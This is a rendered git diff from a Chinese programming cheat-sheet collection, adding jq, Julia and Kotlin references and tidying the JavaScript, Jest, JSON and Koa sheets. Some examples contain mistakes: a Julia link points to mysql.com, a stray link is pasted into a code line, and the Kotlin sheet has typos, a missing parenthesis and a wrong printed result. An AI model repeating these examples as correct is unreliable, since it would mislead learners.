getName.bind(person).bind(null, 18)(12)
```
### 内置函数中的 this
数组中的一些方法,类似于 map、forEach 等,可以自己设置绑定 this
```js
const obj = {
name: "zhangsan"
}
const array = [1, 2, 3];
array.map(function(value){
console.log(this.name)
}, obj)
// zhangsan x3
```
其中一些全局对象,如 setTimeout 等,它们和未显示绑定 this 的部分数组方法一样,都会指向全局对象(`Window`
```js
setTimeout(function(){
console.log(this)
}, 1000) // Window
```
JavaScript Classes
----
@ -1295,7 +1397,6 @@ class Song {
}
```
JavaScript Modules
----
<!--rehype:body-class=cols-2-->
@ -1639,7 +1740,7 @@ msg(); // Message: Hello World! <-- 2 秒后
JavaScript 请求
----
### JSON
### JSON
```JS
const jsonObj = {
@ -1771,4 +1872,4 @@ const getSuggestions = async () => {
console.log(error)
}
}
```
```

View File

@ -546,7 +546,6 @@ test('async test', () => {
从你的测试中 _返回_ 一个 `Promise`
## 模拟
### 模拟函数
@ -800,7 +799,6 @@ const fs = require('fs')
const fs = require.requireActual('fs')
```
数据驱动测试Jest 23+
----
@ -886,7 +884,6 @@ test('第二个文本', () => {
`Node.js` 和 `Jest` 会缓存你需要的模块。 要测试具有副作用的模块,您需要在测试之间重置模块注册表
另见
----

255
docs/jq.md Normal file
View File

@ -0,0 +1,255 @@
jq 备忘清单
===
这个快速参考备忘单提供了使用 [jq](https://stedolan.github.io/jq/) 命令的各种方法。
入门
----
### 介绍
jq 就像用于 JSON 数据的 [sed](./sed.md) - 您可以使用它来切片、过滤、映射和转换结构化数据
- [jq 官网](https://stedolan.github.io/jq/) _(stedolan.github.io)_
- [jq 命令使用](https://jaywcjlove.github.io/linux-command/c/jq.html) _(jaywcjlove.github.io)_
安装
```bash
$ sudo apt-get install jq # Debian& Ubuntu
$ sudo dnf install jq # Fedora
$ sudo zypper install jq # openSUSE
$ sudo pacman -S jq # Arch
$ brew install jq # macOS & Homebrew
$ port install jq # macOS & MacPorts
```
语法
```bash
$ jq [options] <jq filter> [file...]
$ jq [options] --args <jq filter> [strings...]
$ jq [options] --jsonargs <jq filter> [JSON_TEXTS...]
```
<!--rehype:className=wrap-text -->
### 选项
<!--rehype:wrap-class=col-span-2-->
:- | -
:- | -
`-c` | 紧凑而不是漂亮的输出
`-n` | 使用`null`作为单个输入值
`-e` | 根据输出设置退出状态代码
`-s` | 将所有输入读取(吸取)到数组中;应用过滤器
`-r` | 输出原始字符串而不是JSON文本
`-R` | 读取原始字符串而不是JSON文本
`-C` | 为 JSON 着色
`-M` | 单色不要为JSON着色
`-S` | 在输出上排序对象的键
`--tab` | 使用制表符进行缩进
`--arg a v` | 将变量 `$a` 设置为 value `<v>`
`--argjson a v` | 将变量 `$a` 设置为 JSON value `<v>`
`--slurpfile a f` | 将变量 `$a` 设置为从`<f>`读取的JSON文本数组
`--rawfile a f` | 将变量 `$a` 设置为包含`<f>`内容的字符串
`--args` | 其余参数是字符串参数,而不是文件
`--jsonargs` | 其余的参数是JSON参数而不是文件
`--` | 终止参数处理
学习示例
---
### 获取一个键的值
```bash
$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
42
```
### 数组运算
```bash
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
{
"name": "XML",
"good": false
}
```
### 构造一个数组/对象
```bash
$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
{
"user": "stedolan",
"title": "JQ Primer"
}
{
"user": "stedolan",
"title": "More JQ"
}
```
### 计算一个值的长度
```bash
$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
2
6
1
0
```
### 取出数组中的键
```bash
$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
[
"Foo",
"abc",
"abcd"
]
```
### 使用多个过滤器
```bash
$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
42
"something else"
```
### 管道传递给下一个过滤器
```bash
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
"JSON"
"XML"
```
### 条件语句判断
```bash
$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
[
5,
3,
7
]
```
### 每个输入调用过滤器
```bash
$ echo '[1,2,3]' | jq 'map(.+1)'
```
输出结果
```bash
[
2,
3,
4
]
```
### 条件判断
```bash
$ echo '2' | jq 'if . == 0 then "zero" elif . == 1 then "one" else "many" end'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
"many"
```
### 字符串插入值并进行运算
```bash
$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
"The input was 42, which is one less than 43"
```
<!--rehype:className=wrap-text -->
### 字符串转 JSON 数组
```bash
$ echo 'a b c d' | jq -R 'split(" ")'
```
<!--rehype:className=wrap-text -->
输出结果
```json
[
"a",
"b",
"c",
"d"
]
```
<!--rehype:className=wrap-text -->
另见
----
- [jq 官网](https://stedolan.github.io/jq/) _(stedolan.github.io)_
- [jq 命令使用](https://jaywcjlove.github.io/linux-command/c/jq.html) _(jaywcjlove.github.io)_

View File

@ -64,8 +64,8 @@ JSON 备忘清单
```json
{
"url": "https://quickref.me",
"msg" : "Hi,\n\"QuickRef.ME\"",
"url": "https://jaywcjlove.github.io",
"msg" : "Hi,\n\"Quick Reference\"",
"intro": "Share quick reference and cheat sheet for developers."
}
```
@ -75,13 +75,13 @@ JSON 备忘清单
```json
{ "foo": 'bar' }
```
Have to be delimited by double quotes
Have to be delimited by double quotes
### 数字
<!--rehype:wrap-class=row-span-2-->
类型 | 说明
类型 | 说明
-----|------
`Integer` | 数字 1-9、0 和正数或负数
`Fraction` | 0.3、3.9 等分数
@ -297,6 +297,7 @@ let myArray = [
}
];
```
----
| | |
@ -320,7 +321,7 @@ let myArray = [
];
```
-----
----
| | |
|--------------|-----------|
@ -328,10 +329,9 @@ let myArray = [
| `myArray[5]` | true |
| `myArray[6]` | undefined |
另见
----
- [JSON](https://www.json.org/json-en.html) _(json.org)_
- [JSON Editor Online](http://jsoneditoronline.org/) _(jsoneditoronline.org)_
- [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_
- [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_

681
docs/julia.md Normal file
View File

@ -0,0 +1,681 @@
Julia 备忘清单
===
本备忘清单旨在快速理解 [Julia](https://mysql.com) 一份简单而粗略的语言概览,供您参考。
入门
---
### Julia 是什么?
<!--rehype:wrap-class=row-span-3-->
- **`Julia`** 是一种为科学计算而生的,开源、多平台、高性能的高级编程语言
- **`Julia`** 有一个基于 LLVM 的 JIT 编译器,这让使用者无需编写底层的代码也能拥有像 C 与 FORTRAN 那样的性能。因为代码在运行中编译,你可以在 shell 或 REPL 中运行代码,这也是一种推荐的工作流程
- **`Julia`** 是动态类型的。并且提供了为并行计算和分布式运算设计的多重派发机制
- **`Julia`** 自带包管理器
- **`Julia`** 有许多内置的数学函数,包括特殊函数 (例如Gamma 函数)。并且支持开箱即用的复数运算
- **`Julia`** 允许你通过类似 Lisp 的宏来自动生成代码
- **`Julia`** 诞生于 2012 年
### 赋值语句
```julia
answer = 42
x, y, z = 1, [1:10; ], "A string"
x, y = y, x # 交换 x, y
```
### 常量定义
```julia
const DATE_OF_BIRTH = 2012
```
### 行尾注释
```julia
i = 1 # 这是一行注释
# 多行注释
#= 这是另一行注释 =#
```
### 链式操作
```julia
x = y = z = 1 # 从右向左
0 < x < 3 # true
5 < x != y < 5 # false
```
### 函数定义
```julia
function add_one(i)
return i + 1
end
```
### 插入 LaTeX 符号
```julia
\delta + [Tab] # δ
```
### 运算符
<!--rehype:wrap-class=row-span-2-->
:- | :-
:- | :-
基本算数运算 | `+``-``*``/`
幂运算 | `2^3` => 8
除法 | `3/12` => 0.25
反向除法 | `7\3 == 3/7` => true
取余 | `x % y``rem(x,y)`
取反 | `!true` => false
等于 | `a == b`
不等于 | `a != b``a ≠ b`
小于与大于 | `<``>`
小于等于 | `<=``≤`
大于等于 | `>=``≥`
逐元素运算(点运算) | `[1, 2, 3] .+ [1, 2, 3] == [2, 4, 6]` => true<br /> `[1, 2, 3] .* [1, 2, 3] == [1, 4, 9]` => true
检测非数值(NaN) | `isnan(NaN)` => true <br />而不是 `NaN == NaN` => false
三元运算符 | `a == b ? "Equal" : "Not equal"`
短路 AND 和 OR 表达式 | `a && b``a \|\| b`
对象等价 | `a === b`
### shell/REPL 环境
<!--rehype:wrap-class=col-span-2-->
:- | :-
:- | :-
上一次运算的结果 | `ans`
中断命令执行 | <kbd>Ctrl</kbd> + <kbd>C</kbd>
清屏 | <kbd>Ctrl</kbd> + <kbd>L</kbd>
运行程序文件 | `include("filename.jl")`
查找 func 相关的帮助 | `?func`
查找 func 的所有定义 | `apropos("func")`
命令行模式 | `;`
包管理模式 | `]`
帮助模式 | `?`
查找特殊符号输入方式 | `?☆ # "☆" can be typed by \bigwhitestar<tab>`
退出特殊模式,返回到 REPL | 在空行上按 <kbd>Backspace</kbd>
退出 REPL | `exit()`<kbd>Ctrl</kbd> + <kbd>D</kbd>
### 缺失值与空值
:- | :-
:- | :-
空值(Null) | `nothing`
缺失数据 | `missing`
浮点数的非数值 | `NaN`
滤除缺失值 | `collect(skipmissing([1, 2, missing])) == [1,2]`
替换缺失值 | `collect((df[:col], 1))`
检查是否有缺失值 | `ismissing(x)` 而不是 `x == missing`
### 自我检查与反射
:- | :-
:- | :-
类型 | `typeof(name)`
类型检查 | `isa(name, TypeName)`
列出子类型 | `subtypes(TypeName)`
列出超类型 | `supertype(TypeName)`
函数方法 | `methods(func)`
即时编译的字节码 | `code_llvm(expr)`
汇编代码 | `code_native(expr)`
### 随机数
<!--rehype:wrap-class=col-span-2-->
:- | :-
:- | :-
设置随机数种子 | `Random.seed!(seed)`
产生随机数 | `rand()` # 均匀分布 [0,1)<br/>`randn()` # 正态分布 (-Inf, Inf)
产生特定分布的随机数 | `using Distributions`<br/>`my_dist = Bernoulli(0.2)` 举例<br/>`rand(my_dist)`
以概率 p 从 A 中进行伯努利抽样 | `randsubseq(A, p)`
随机重排 A 中的元素 | `shuffle(A)`
许多随机数函数都需要 `using Random`
### 异常处理
<!--rehype:wrap-class=row-span-3-->
```julia
# 抛出异常 SomeExcep
throw(SomeExcep())
# 再次引发当前的异常
rethrow()
```
定义新异常 NewExcep
```julia
struct NewExcep <: Exception
v::String
end
Base.showerror(io::IO, e::NewExcep) = print(io, "A problem with $(e.v)!")
throw(NewExcep("x"))
# 抛出带文本的异常
error(msg)
```
异常处理流程
```julia
try
# 进行一些可能会失败的操作
catch ex
if isa(ex, SomeExcep)
# 处理异常 SomeExcep
elseif isa(ex, AnotherExcep)
# 处理另一个异常 AnotherExcep
else
# 处理其余的异常
end
finally
# 永远执行这些语句
end
```
### 类型
<!--rehype:wrap-class=row-span-4-->
```julia
# 类型注释
var::TypeName
# 类型声明
struct Programmer
name::String
birth_year::UInt16
fave_language::AbstractString
end
# 可变类型声明
将 struct 替换为 mutable struct
# 类型别名
const Nerd = Programmer
# 类型构造器
methods(TypeName)
# 类型实例
me = Programmer("Ian", 1984, "Julia")
me = Nerd("Ian", 1984, "Julia")
# 子类型声明
abstract type Bird end
struct Duck <: Bird
pond::String
end
# 参数化类型
struct Point{T <: Real}
x::T
y::T
end
p = Point{Float64}(1,2)
# 联合类型
Union{Int, String}
# 遍历类型层级
supertype(TypeName) 和 subtypes(TypeName)
# 默认的超类型
Any
# 所有字段
fieldnames(TypeName)
# 所有字段类型
TypeName.types
```
### 标准库
:- | :-
:- | :-
Random | `rand`, `randn`, `randsubseq`
Statistics | `mean`, `std`, `cor`, `median`, `quantile`
LinearAlgebra | `I`, `eigvals`, `eigvecs`, `det`, `cholesky`
SparseArrays | `sparse`, `SparseVector`, `SparseMatrixCSC`
Distributed | `@distributed`, `pmap`, `addprocs`
Dates | `DateTime`, `Date`
### 表达式
<!--rehype:wrap-class=row-span-2-->
使用引用 `:( ... )` 或块引用 `quote ... end` 可以创建一个表达式,就像 `parse(str)`,和 `Expr(:call, ...)`。
```julia
x = 1
line = "1 + $x" # 一些代码
expr = Meta.parse(line) # 生成一个 Expr 对象
typeof(expr) == Expr # true
dump(expr) # 打印生成抽象语法(AST)
eval(expr) == 2 # 对 Expr 对象求值: true
```
Julia 具有同像性:程序被表示为语言本身的数据结构。 实际上 `Julia` 语言里的任何东西都是一个表达式 `Expr`。符号(`Symbols`)即驻留字符串 ,以冒号 `:` 为前缀。相对于其他类型来说,符号效率更高。它也经常用作标识符、字典的键或者数据表里的列名。符号不能进行拼接。
### 输入/输出
<!--rehype:wrap-class=row-span-3-->
读取流
```julia
stream = stdin
for line in eachline(stream)
# 做点啥
end
```
读取文件
```julia
open(filename) do file
for line in eachline(file)
# 做点啥
end
end
```
读取/写入 CSV 文件
```julia
# 读取 CSV 文件
using CSV
data = CSV.File(filename)
# 写入 CSV 文件
[label](koajs.md)CSV.write(filename, data)
```
读取/保存 Julia 对象
```julia
using JLD
# 保存 Julia 对象
save(filename, "object_key", object, ...)
# 读取 Julia 对象
d = load(filename) # 返回对象的字典
```
读取/保存 HDF5
```julia
using HDF5
# 保存 HDF5
h5write(filename, "key", object)
# 读取 HDF5
h5read(filename, "key")
```
### 宏
<!--rehype:wrap-class=row-span-2-->
宏允许你在程序中自动生成代码(如:表达式)
```julia
# 定义
macro macroname(expr)
# 做点啥
end
```
使用
```julia
macroname(ex1, ex2, ...) @macroname ex1, ex2, ...
```
<!--rehype:className=wrap-text-->
内置的宏
```julia
@assert # assert (单元测试)
@which # 查看对特定参数使用的方法/查找函数所在的模块
@time # 运行时间与内存分配统计
@elapsed # 返回执行用时
@allocated # 查看内存分配
@async # 异步任务
using Test
@test # 精确相等
@test x y # 近似相等 isapprox(x, y)
using Profile
@profile # 优化
```
<!--rehype:className=wrap-text-->
创建 卫生宏 (hygienic macros)的规则:
- 在宏的内部只通过 `local` 声明本地变量
- 在宏的内部不使用 `eval`
- 转义插值表达式以避免宏变大:`$(esc(expr))`
### 并行计算
<!--rehype:wrap-class=row-span-2-->
并行计算相关的工具可以在标准库 `Distributed` 里找到
```julia
# 启动带 N 各 worker 的 REPL
julia -p N
# 可用的 worker 数量
nprocs()
# 添加 N 个 worker
addprocs(N)
# 查看所有 worker 的 pid
for pid in workers()
println(pid)
end
# 获得正在执行的 worker 的 id
myid()
# 移除 worker
rmprocs(pid)
# 在特定 pid 的 worker 上运行 f(args)
r = remotecall(f, pid, args...)
# 或:
r = @spawnat pid f(args)
...
fetch(r)
# 在特定 pid 的 worker 上运行 f(args) (更高效)
remotecall_fetch(f, pid, args...)
# 在任意 worker 上运行 f(args)
r = @spawn f(args) ... fetch(r)
# 在所有 worker 上运行 f(args)
r = [@spawnat w f(args) for w in workers()] ... fetch(r)
# 让表达式 expr 在所有 worker 上执行
@everywhere expr
# 并行化带规约函数 red 的循环
sum = @distributed (red) for i in 1:10^6
# 进行并行任务
end
# 将 f 用用到集合 coll 中的所有元素上
pmap(f, coll)
```
<!--rehype:className=wrap-text-->
### 数组
<!--rehype:wrap-class=col-span-2 row-span-2-->
:- | :-
:- | :-
声明数组 | `arr = Float64[]`
预分配内存 | `sizehint!(arr, 10^4)`
访问与赋值 | `arr = Any[1,2]`<br/>`arr[1] = "Some text"`
从 m 到 n 的子数组 | `arr[m:n]`
n 个 `0.0` 填充的数组 | `zeros(n)`
n 个 `1.0` 填充的数组 | `ones(n)`
n 个随机 Int8 填充的数组 | `rand(Int8, n)`
用值 val 填充数组 | `fill!(arr, val)`
弹出最后一个元素 | `pop!(arr)`
弹出第一个元素 | `popfirst!(a)`
n 个 `#undef` 填充的数组 | `Vector{Type}(undef,n)`
n 个从 `start``stop` 的等间距数 | `range(start,stop=stop,length=n)`
将值 `val` 作为最后一个元素压入数组 | `push!(arr, val)`
将值 `val` 作为第一个元素压入数组 | `pushfirst!(arr, val)`
删除指定索引值的元素 | `deleteat!(arr, idx)`
数组排序 | `sort!(arr)`
`b` 连接到 `a` 后 | `append!(a,b)`
转化为字符串,并以 delim 分隔 | `join(arr, delim)`
<!--rehype:className=left-align-->
---
```julia
# 数组比较
a = [1:10;]
b = a # b 指向 a
a[1] = -99
a == b # true
# 复制元素(而不是地址)/深拷贝
b = copy(a)
b = deepcopy(a)
# 检查值 val 是否在数组 arr 中
in(val, arr) # 或
val in arr
# 改变维数
reshape(1:6, 3, 2)' == [1 2 3; 4 5 6]
```
### 线性代数
:- | :-
:- | :-
单位矩阵 | `I`
定义矩阵 | `M = [1 0; 0 1]`
矩阵维数 | `size(M)`
选出第 i 行 | `M[i, :]`
选出第 j 列 | `M[:, j]`
水平拼接 | `M = [a b] 或 M = hcat(a, b)`
竖直拼接 | `M = [a ; b]``M = vcat(a, b)`
矩阵转置 | `transpose(M)`
共轭转置 | `M'``adjoint(M)`
迹(trace) | `tr(M)`
行列式 | `det(M)`
秩(rank) | `rank(M)`
特征值 | `eigvals(M)`
特征向量 | `eigvecs(M)`
矩阵求逆 | `inv(M)`
解矩阵方程 `M*x == v` | `M\v``inv(M)*v` 更好
求 Moore-Penrose 伪逆 | `pinv(M)`
<!--rehype:className=left-align-->
控制流与循环
---
### 条件语句
```julia
if x < y
println("x is less than y")
elseif x > y
println("x is greater than y")
else
println("x is equal to y")
end
```
### for 循环
```julia
for i in 1:10
println(i)
end
```
### 嵌套循环
```julia
for i in 1:10, j = 1:5
println(i*j)
end
```
### 枚举
```julia
for (idx, val) in enumerate(arr)
println("the $idx-th element is $val")
end
```
### while 循环
```julia
while bool_expr
# 做点啥
end
```
### 退出循环
```julia {4}
julia> i = 0
julia> while true
global i += 1
i > 5 && break
println(i)
end
```
### 退出本次循环
```julia {2}
for i = 1:6
iseven(i) && continue
println(i)
end
```
数字相关
---
### 整数类型
`IntN` 和 `UIntN`, 且 `N ∈ {8, 16, 32, 64, 128}`, `BigInt`
### 浮点类型
`FloatN` 且 `N ∈ {16, 32, 64}`
`BigFloat`
### 类型的最大和最小值
```julia
typemin(Int8)
typemax(Int64)
```
### 复数类型
```julia
Complex{T<:Real}
```
### 虚数单位
```julia
im
```
### 机器精度
```julia
eps() # 等价于 eps(Float64)
```
### 圆整
```julia
round() # 浮点数圆整
round(Int, x) # 整数圆整
```
### 类型转换
```julia
# 尝试进行转换/可能会报错
convert(TypeName, val)
# 调用类型构造器转换
TypeName(val)
```
### 全局常量
```julia
pi # 3.1415...
π # 3.1415...
im # real(im * im) == -1
```
### 更多常量
```julia
using Base.MathConstants
```
模块
---
### 定义
```julia
module PackageName
# 添加模块定义
# 使用 export 让定义对外可见
end
```
### 包含文件 filename.jl
```julia
include("filename.jl")
```
### 加载
<!--rehype:wrap-class=row-span-2-->
```julia
using ModuleName # 导出所有名称
# 仅导出 x, y
using ModuleName: x, y
# 仅导出 x, y
using ModuleName.x, ModuleName.y:
# 仅导出 ModuleName
import ModuleName
# 仅导出 x, y
import ModuleName: x, y
# 仅导出 x, y
import ModuleName.x, ModuleName.y
```
`using` 和 `import` 只有一点区别:使用 `using` 时,你需要写 `function Foo.bar(..` 来给 `Foo` 模块的函数 `bar` 增添一个新方法; 而使用 `import Foo.bar` 时,只需写 `function bar(...` 就能达到同样的效果
### 导出
```julia
# 得到模块导出名称的数组
names(ModuleName)
# 包含未导出的、弃用的
# 和编译器产生的名称
names(ModuleName, all::Bool)
# 也显示从其他模块显式导入的名称
names(ModuleName, all::Bool, imported::Bool)
```
<!--rehype:className=wrap-text-->
包管理
---
### 介绍
一个程序包必须先[注册](https://github.com/JuliaRegistries/General),然后才能在包管理器中看到它。在 Julia 1.0 中,有两种使用包管理器的方法:
- 一是通过 `using Pkg` 导入 `Pkg` 模块,然后用它的函数管理其他包;
- 或者在 REPL 中输入 `]`,然后按回车。进入特殊的交互式包管理模式。 (要从包管理模式返回 REPL只需要在空行上按退格键 `BACKSPACE` 就行了)
注意新的工具总是先添加到交互式模式中,然后才会加入 `Pkg` 模块
### 在 Julia 会话中使用 Pkg 管理包
:- | :-
:- | :-
列出已安装的包 | `Pkg.status()`
更新所有包 | `Pkg.update()`
安装包 | `Pkg.add("PackageName")`
重新构建包 | `Pkg.build("PackageName")`
使用包 | `using PackageName`
删除包 | `Pkg.rm("PackageName")`
<!--rehype:className=left-align-->
### 交互式包管理模式
:- | :-
:- | :-
添加包 | `add PackageName`
删除包 | `rm PackageName`
更新包 | `update PackageName`
使用开发版本 | `dev PackageName` 或 `dev GitRepoUrl`
返回普通发行版 | `free PackageName`
<!--rehype:className=left-align-->
另见
---
- [快速入门一份简单而粗略的语言概览](https://cheatsheet.juliadocs.org/zh-cn/)

View File

@ -3,7 +3,6 @@ Koajs 备忘清单
基于 Node.js 平台的下一代 web 开发框架,包含 [Koa](https://koajs.com/) 的 API 参考列表和一些示例。
入门
---
@ -13,6 +12,7 @@ Koajs 备忘清单
[Koa](https://koajs.com/) 需要 [node v7.6.0](https://nodejs.org) 或更高版本来支持ES2015、异步方法你可以安装自己支持的 `node` 版本
- 安装依赖
```bash
$ mkdir myapp # 创建目录
$ cd myapp # 进入目录
@ -20,7 +20,9 @@ Koajs 备忘清单
$ npm init -y # 初始化一个配置
$ npm install koa # 安装依赖
```
- 入口文件 `index.js` 添加代码:
```js
const Koa = require('koa');
const app = new Koa();
@ -31,7 +33,9 @@ Koajs 备忘清单
app.listen(3000);
```
- 使用以下命令运行应用程序
```bash
$ node index.js
```
@ -421,4 +425,4 @@ const ct = ctx.type;
// => "image/png"
```
获取 response Content-Type不包含像"charset"这样的参数
获取 response Content-Type不包含像"charset"这样的参数

718
docs/kotlin.md Normal file
View File

@ -0,0 +1,718 @@
Kotlin 备忘清单
===
Kotlin 备忘清单是 [Kotlin](https://kotlinlang.org) 编程语言的单页参考表
Kotlin 简介
----
### main() 函数
```kotlin
fun main() {
// Code goes here
}
```
main() 函数是每个 Kotlin 程序的起点,在执行之前必须包含在代码中
### 打印声明
```kotlin
println("Greetings, earthling!")
print("Take me to ")
print("your leader.")
/*
打印:
Greetings, earthling!
Take me to your leader.
*/
```
### 注释
```kotlin
// 这是单行注释
/*
这个
注释
用于
*/
```
### 执行顺序
```kotlin
fun main() {
println("I will be printed first.")
println("I will be printed second.")
println("I will be printed third.")
}
```
数据类型和变量
---
### 可变变量
```kotlin
var age = 25
age = 26
```
### 不可变变量
```kotlin
val goldenRatio = 1.618
```
### 类型推断
```kotlin
// 以下变量在双引号内分配了一个文本值
// 因此推断的类型是 String
var color = "Purple"
```
### 字符串连接
```kotlin
var streetAddress = "123 Main St."
var cityState = "Brooklyn, NY"
println(streetAddress + " " + cityState)
// 打印: 123 Main St. Brooklyn, NY
```
### 字符串模板
```kotlin
var address = "123 Main St."
println("The address is $address")
// 打印: The address is 123 Main St.
```
### 内置属性和函数
```kotlin
var monument = "the Statue of Liberty"
println(monument.capitalize())
// 打印: The Statue of Liberty
println(monument.length)
// 打印: 21
```
### 字符转义序列
<!--rehype:wrap-class=row-span-2-->
```kotlin
print("\"Excellent!\" I cried. \"Elementary,\" said he.")
// 打印: "Excellent!" I cried. "Elementary," said he.
```
<!--rehype:className=wrap-text-->
- `\n` 插入新行
- `\t` 插入标签
- `\r` 插入回车
- `\'` 插入单引号
- `\"` 插入双引号
- `\\` 插入反斜杠
- `\$` 插入美元符号
### 算术运算符
```kotlin
5 + 7 // 12
9 - 2 // 7
8 * 4 // 32
25 / 5 // 5
31 % 2 // 1
```
`+` 加法、`-` 减法、`*` 乘法、`/` 除法和 `%` 模数
### 操作顺序
```kotlin
5 + 8 * 2 / 4 - 3 // 6
3 + (4 + 4) / 2 // 7
4 * 2 + 1 * 7 // 15
3 + 18 / 2 * 1 // 12
6 - 3 % 2 + 2 // 7
```
### 增强赋值运算符
```kotlin
var batteryPercentage = 80
// 长语法
batteryPercentage = batteryPercantage + 10
// 带有增广赋值运算符的短句法
batteryPercentage += 10
```
### 递增和递减运算符
```kotlin
var year = 2019
year++ // 2020
year-- // 2019
```
### 数学库
```kotlin
Math.pow(2.0, 3.0) // 8.0
Math.min(6, 9) // 6
Math.max(10, 12) // 12
Math.round(13.7) // 14
```
条件表达式
----
### if 表达式
```kotlin
var morning = true
if (morning) {
println("Rise and shine!")
}
// 打印: Rise and shine!
```
### else 表达式
```kotlin
var rained = false
if (rained) {
println("今天不需要给植物浇水。")
} else {
println("植物需要浇水!")
}
// 打印: 植物需要浇水!
```
### Else-If 表达式
```kotlin
var age = 65
if (age < 18 ) {
println("您被视为未成年人")
} else if (age < 60) {
println("您被视为成年人")
} else {
println("你被认为是高级")
}
// 打印: 你被认为是高级
```
### 比较运算符
```kotlin
var myAge = 19
var sisterAge = 11
var cousinAge = 11
myAge > sisterAge // true
myAge < cousinAge // false
myAge >= cousinAge // true
myAge <= sisterAge // false
```
### 逻辑运算符
```kotlin
var humid = true
var raining = true
var jacket = false
println(!humid)
// 打印: false
println(jacket && raining)
// 打印: true
println(humid || raining)
// 打印: true
```
### AND 运算符: &&
```kotlin
var humid = true
var raining = true
var shorts = false
var sunny = false
// true AND true
println(humid && raining) // true
// true AND false
println(humid && shorts) // false
// false AND true
println(sunny && raining) // false
// false AND false
println(shorts && sunny) // false
```
### 或运算符:||
```kotlin
var late = true
var skipBreakfast = true
var underslept = false
var checkEmails = false
// true OR true
println(skipBreakfast || late) // true
// true OR false
println(late || checkEmails) // true
// false OR true
println(underslept || late) // true
// false OR false
println(checkEmails || underslept) // false
```
### NOT 运算符
```kotlin
var hungry = true
var full = false
println(!hungry) // false
println(!full) // true
```
### 评估顺序
```kotlin
!true && (false || true) // false
/*
(false || true) 被评估首先返回 true。
然后,评估 !true && true 并返回最终结果 false
*/
!false && true || false // true
/*
!false 被评估首先返回 true。
然后评估 true && true返回 true。
那么,真|| 评估 false 最终返回 true
*/
```
### 嵌套条件
```kotlin
var studied = true
var wellRested = true
if (wellRested) {
println("祝你今天好运!")
if (studied) {
println("你应该为考试做好准备!")
} else {
println("考试前花几个小时学习!")
}
}
// 打印: 祝你今天好运!
// 打印: 你应该为考试做好准备!
```
### 当表达式
```kotlin
var grade = "A"
when(grade) {
"A" -> println("很棒的工作!")
"B" -> println("做得太好了!")
"C" -> println("你通过了!")
else -> println("关!下次一定要多准备!")
}
// 打印: 很棒的工作!
```
### 范围运算符
```kotlin
var height = 46 // inches
if (height in 1..53) {
println("抱歉,您必须至少 54 英寸才能乘坐过山车"
}
// Prints: 抱歉,您必须至少 54 英寸才能乘坐过山车
```
<!--rehype:className=wrap-text-->
### 等式运算符
```kotlin
var myAge = 22
var sisterAge = 21
myAge == sisterAge // false
myAge !== sisterAge // true
```
Collections
---
### 不可变列表
```kotlin
var programmingLanguages = listOf("C#", "Java", "Kotlin", "Ruby")
```
<!--rehype:className=wrap-text-->
### 可变列表
```kotlin
var fruits = mutableListOf("Orange", "Apple", "Banana", "Mango")
```
<!--rehype:className=wrap-text-->
### 访问列表元素
```kotlin
var cars = listOf("BMW", "Ferrari", "Volvo", "Tesla")
println(cars[2]) // Prints: Volvo
```
<!--rehype:className=wrap-text-->
### 大小属性
```kotlin
var worldContinents = listOf("Asia", "Africa", "North America", "South America", "Antarctica", "Europe", "Australia")
println(worldContinents.size) // Prints: 7
```
<!--rehype:className=wrap-text-->
### 列表操作
<!--rehype:wrap-class=row-span-2-->
```kotlin
var seas = listOf("Black Sea", "Caribbean Sea", "North Sea")
println(seas.contains("North Sea")) // Prints: true
// contains() 函数对任何列表执行读取操作并确定元素是否存在
seas.add("Baltic Sea") // 错误:无法对不可变列表执行写操作
// add() 函数只能在可变列表上调用,因此上面的代码会引发错误
```
<!--rehype:className=wrap-text-->
### 不可变集
```kotlin
var primaryColors = setOf("Red", "Blue", "Yellow")
```
<!--rehype:className=wrap-text-->
### 可变集
```kotlin
var womenInTech = mutableSetOf("Ada Lovelace", "Grace Hopper", "Radia Perlman", "Sister Mary Kenneth Keller")
```
<!--rehype:className=wrap-text-->
### 访问集合元素
<!--rehype:wrap-class=row-span-2-->
```kotlin
var companies = setOf("Facebook", "Apple", "Netflix", "Google")
println(companies.elementAt(3))
// Prints: Google
println(companies.elementAt(4))
// Returns and Error
println(companies.elementAtOrNull(4))
// Prints: null
```
<!--rehype:className=wrap-text-->
### 不可变映射
```kotlin
var averageTemp = mapOf("winter" to 35, "spring" to 60, "summer" to 85, "fall" to 55)
```
<!--rehype:className=wrap-text-->
### 可变映射
```kotlin
var europeanDomains = mutableMapOf("Germany" to "de", "Slovakia" to "sk", "Hungary" to "hu", "Norway" to "no")
```
<!--rehype:className=wrap-text-->
### 检索映射键和值
```kotlin
var oscarWinners = mutableMapOf("Parasite" to "Bong Joon-ho", "Green Book" to "Jim Burke", "The Shape Of Water" to "Guillermo del Toro")
println(oscarWinners.keys)
// Prints: [Parasite, Green Book, The Shape Of Water]
println(oscarWinners.values)
// Prints: [Bong Joon-ho, Jim Burke, Guillermo del Toro]
println(oscarWinners["Parasite"])
// Prints: Bong Joon-ho
```
<!--rehype:className=wrap-text-->
### 添加和删除地图条目
```kotlin
var worldCapitals = mutableMapOf("United States" to "Washington D.C.", "Germany" to "Berlin", "Mexico" to "Mexico City", "France" to "Paris")
worldCapitals.put("Brazil", "Brasilia")
println(worldCapitals)
